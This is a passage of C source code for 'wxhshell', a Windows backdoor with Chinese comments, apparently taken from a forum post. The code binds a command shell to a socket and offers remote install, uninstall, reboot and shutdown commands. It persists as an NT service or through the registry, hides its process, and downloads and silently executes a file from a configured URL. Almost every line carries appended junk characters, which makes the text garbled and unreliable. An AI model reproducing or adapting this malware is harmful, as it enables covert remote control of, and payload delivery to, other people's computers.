  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mB"I(>q*M  
  } OR!W3 @  
  else { W[*xr{0V  
H\a"=&M  
    switch(cmd[0]) { {4,],0bjx/  
  w(aHB8T  
  // 帮助 ;s{' cN[.  
  case '?': { ;m#4Q6k)V?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); prN+{N8YC  
    break; Ikf[K%NKn  
  } w-# f^#  
  // 安装 L;$>SLl,  
  case 'i': { .kg 3>*  
    if(Install()) *j&)=8Y|   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^}p##7t [  
    else Z:7eroZP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B+U:=591  
    break; WEe7\bWF  
    } c+e?xXCEAz  
  // 卸载 W"_<SYVJ  
  case 'r': { [bP^RY:  
    if(Uninstall()) ?YS>_ MN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pKy4***I3  
    else 6(d6Uwc`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6Q [  
    break; >FwK_Zd'  
    } Zs=A<[  
  // 显示 wxhshell 所在路径 NT.#U?9c  
  case 'p': { &xN+a{&  
    char svExeFile[MAX_PATH]; iaEQF]*cC  
    strcpy(svExeFile,"\n\r"); 7]zZdqG&p`  
      strcat(svExeFile,ExeFile); {~&Q"8 }G  
        send(wsh,svExeFile,strlen(svExeFile),0); g ,EDE6`8  
    break; "4H@&:-(p  
    } ll4CF}k  
  // 重启 :R=6Ku>  
  case 'b': { S\N1qux{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4xmJQ>/  
    if(Boot(REBOOT)) J|f29B-c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c_*w<vJ-'  
    else { -'d:~:1f  
    closesocket(wsh); yiC7)=  
    ExitThread(0); s. A}ydtt  
    } =X7kADRq  
    break; %eg+ .  
    } IJGw<cB]+  
  // 关机 M=uT8JB  
  case 'd': { b;UDgq8v  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); pN5kcvQ  
    if(Boot(SHUTDOWN)) HS{Vohy>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N=<`|I  
    else {  )^{}ov  
    closesocket(wsh); G]f|?  
    ExitThread(0); 8CZfz!2  
    } v f{{z%3T  
    break; ?PMbbqa0  
    } +`k30-<P  
  // 获取shell 3PU_STSix  
  case 's': { s{'Sl{-Eu  
    CmdShell(wsh); `hj,rF+4  
    closesocket(wsh); &=kv69v  
    ExitThread(0); f|q/2}Bqb  
    break; >jAFt_  
  } XlU\D}zS  
  // 退出 "Esl I  
  case 'x': { K$h\<_V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y'!OA+ob  
    CloseIt(wsh); n>q!m@ }<  
    break; %T]^,y$n  
    } K9k!P8Rd  
  // 离开 Q*>)W{H&)  
  case 'q': { x5Lbe5/P  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 37zB X~  
    closesocket(wsh); :,JaOn'  
    WSACleanup(); 3Xu|hkK\e  
    exit(1); 5N|LT8P}Z  
    break; -[-oz0`Sl{  
        } yqq1a o  
  } O68-G  
  } 49QsT5b)  
1 6zxPSTr}  
  // 提示信息 )DXt_leLg  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +112{v=!i  
} ]64}Xob87_  
  } B~Kx Up  
AuXUD9 -  
  return; z.cDbkf}  
} H1kI+YJ@  
B&a{,.m&q6  
// shell模块句柄 c{/R?<  
int CmdShell(SOCKET sock) eW(pP>@k,  
{ 5 qfvHQ ~M  
STARTUPINFO si; 6AAvsu:  
ZeroMemory(&si,sizeof(si)); ;b0Q%TDh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U~: H>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; k=mQG~  
PROCESS_INFORMATION ProcessInfo; bu _ @>`S  
char cmdline[]="cmd"; }MRgNr'k  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >6 o <Q  
  return 0; %`&n ;K.c  
} Z\IM~-  
y 9]d{:9  
// 自身启动模式 C{J5:ak  
int StartFromService(void) LBy`N_@  
{ 'lZlfS:Z8  
typedef struct ES+ CAwqf  
{ pKc!sd C  
  DWORD ExitStatus; kBR=a%kG  
  DWORD PebBaseAddress; EE  1D>I  
  DWORD AffinityMask; A?lL K&*  
  DWORD BasePriority; _h-agn4[i  
  ULONG UniqueProcessId; 3<r7"/5  
  ULONG InheritedFromUniqueProcessId; ]XEyG7D  
}   PROCESS_BASIC_INFORMATION; y]jx-w c3O  
L[2qCxB'^  
PROCNTQSIP NtQueryInformationProcess; =Q_1Mr4O  
CqnHh@]nu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {zcG%b WJ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ep;uz5 ^8  
l[T-Ak  
  HANDLE             hProcess; .4CDQ&B0K  
  PROCESS_BASIC_INFORMATION pbi; F+H]{ss>  
v8f3B<kj  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l7VO8p]y[R  
  if(NULL == hInst ) return 0; Z?o0Q\ }1  
aze#Cn,P}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MeBTc&S<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DS(>R!bb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  ImhkU%  
=T[P  
  if (!NtQueryInformationProcess) return 0; daKZ*B|  
gtuSJ+up  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s=jmvvs_V}  
  if(!hProcess) return 0; [}4zqY{  
#g6_)B=S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H2jypVs$2  
X <xM '  
  CloseHandle(hProcess); %0-oZL  
yf:0u_&]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u<:uL  
if(hProcess==NULL) return 0; ^s6~*n<fH  
eV?%3h.   
HMODULE hMod; ~RbVcB#  
char procName[255]; Eq)b=5qrG?  
unsigned long cbNeeded; aE07#  
jI8`trD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @:zC!dR)G  
`C>h]H(  
  CloseHandle(hProcess); pqO3(2F9  
bDvGFSAH  
if(strstr(procName,"services")) return 1; // 以服务启动 %DiQTg7V,  
i 7]o[  
  return 0; // 注册表启动 r B+ (  
} Hj >fg2/  
%h ;oi/pe  
// 主模块 .vKgiIC:  
int StartWxhshell(LPSTR lpCmdLine) r !!uA1!7  
{ 7%"|6dw  
  SOCKET wsl; fh =R  
BOOL val=TRUE; .$-;`&0cZ  
  int port=0; D/=05E%[81  
  struct sockaddr_in door; k$%{w\?Jf  
#eKKH]J/  
  if(wscfg.ws_autoins) Install(); ]#M"|iTR  
F4\:9ws  
port=atoi(lpCmdLine); k H65k (  
wBpt W2jA  
if(port<=0) port=wscfg.ws_port; ia\Gmh  
%t&Lq }e  
  WSADATA data; h:pgN,W}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; PNAvT$0LaZ  
"T5jz#H#/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qOG@MR(5  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4}N+o+  
  door.sin_family = AF_INET; 15{^waR6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9mvy+XD  
  door.sin_port = htons(port); jW#dUKS(  
i%133in  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tr;.%/4Q  
closesocket(wsl); "-S!^h/v  
return 1; M %zf?>])  
} {($mLfC4  
2+pw%#fe  
  if(listen(wsl,2) == INVALID_SOCKET) { C3 "EZe[R  
closesocket(wsl); <IR@/b!,  
return 1; i-0 :Fs  
} *P *.'XM  
  Wxhshell(wsl); :c]y/lQmV  
  WSACleanup(); G--vwvL  
e[x,@P`  
return 0; 6'*6tS  
[5xm>Y&}  
} gs1  
|6-9vU!LK?  
// 以NT服务方式启动 T|\sN*}\8J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |u`YT;`!"-  
{ Jy:@&c  
DWORD   status = 0; X{xkXg8h  
  DWORD   specificError = 0xfffffff; ,Z|O y|+'  
rIPg,4y*S!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fQ~~%#z1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z=-#{{bv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w#9.U7@.  
  serviceStatus.dwWin32ExitCode     = 0; TCzz]?G]la  
  serviceStatus.dwServiceSpecificExitCode = 0; 0 F8xS8vK+  
  serviceStatus.dwCheckPoint       = 0; kN 2mPD/  
  serviceStatus.dwWaitHint       = 0; im<!JMI  
C|H`.|Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u^C\aujg  
  if (hServiceStatusHandle==0) return; K'8o'S_bF  
<EyJ $$  
status = GetLastError(); d.ywH;  
  if (status!=NO_ERROR) @ ~{TL  
{ FBP # _"z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~*h)`uM  
    serviceStatus.dwCheckPoint       = 0; ZD50-w;  
    serviceStatus.dwWaitHint       = 0; ST#)Fl  
    serviceStatus.dwWin32ExitCode     = status; ,^4"e (  
    serviceStatus.dwServiceSpecificExitCode = specificError; b?=r%D->w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sy.%>$z  
    return; ce4rhtkV  
  } q@1A2L\Om  
T:Q+ Z }v+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "nJMS6HJ[  
  serviceStatus.dwCheckPoint       = 0; uR")@Tc  
  serviceStatus.dwWaitHint       = 0; sfG9R"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B7A.~' =  
} :zC=JvKT  
MeV4s%*O+  
// 处理NT服务事件,比如:启动、停止 i{:?Iw 'ay  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 3 |e~YmZx  
{ 9&kY>M>z0  
switch(fdwControl) :1'1 n  
{ n>^9+Rx|i  
case SERVICE_CONTROL_STOP: r_ 9"^Er  
  serviceStatus.dwWin32ExitCode = 0; zGO_S\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ( K-7z  
  serviceStatus.dwCheckPoint   = 0; P[`>*C\9c  
  serviceStatus.dwWaitHint     = 0; p^{yA"MQ  
  { f3,Xb ]h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E]{0lG`l  
  } ViOXmK"  
  return; 4u p7 :?  
case SERVICE_CONTROL_PAUSE: 8f?o?c|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~Gg19x.#uW  
  break; `h'Ab63  
case SERVICE_CONTROL_CONTINUE: 6EWCJ%_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9 [E/^  
  break; WFug-#;e  
case SERVICE_CONTROL_INTERROGATE: V!e`P  
  break; Q\~#cLJ/  
}; ieEt C,U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ENYc.$ r  
} *}r6V"pH~  
f b8xs<  
// 标准应用程序主函数 i+-=I+L3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qk&BCkPT  
{ kYS\TMt,C  
ojWf]$^y}  
// 获取操作系统版本 l9 rN!Q|  
OsIsNt=GetOsVer(); >Y3zO2Cr  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z1e+Ob&  
 Mv%B#J  
  // 从命令行安装 A[88IMZs  
  if(strpbrk(lpCmdLine,"iI")) Install(); GO#eI]>/r  
g[{rX4~|  
  // 下载执行文件 ,;= S\  
if(wscfg.ws_downexe) { iQh:y:Jo1&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) p{V(! v|  
  WinExec(wscfg.ws_filenam,SW_HIDE); '~6l 6wi  
} kvN6K6  
|[bQJ<v6  
if(!OsIsNt) { IgF#f%|Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 >vfLlYx  
HideProc(); )/v`k>E  
StartWxhshell(lpCmdLine); b!;WF  
} 4=ha$3h$  
else .fzns20u  
  if(StartFromService()) '(:R-u!pp  
  // 以服务方式启动 Im`R2_(]  
  StartServiceCtrlDispatcher(DispatchTable); ~r]$(V n  
else >&qaT*_g  
  // 普通方式启动 3A b_Z  
  StartWxhshell(lpCmdLine); :rmi8!o  
0pe*DbYP5  
return 0; 3t] 0  
}
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只看该作者 1 发表于: 2006-10-10
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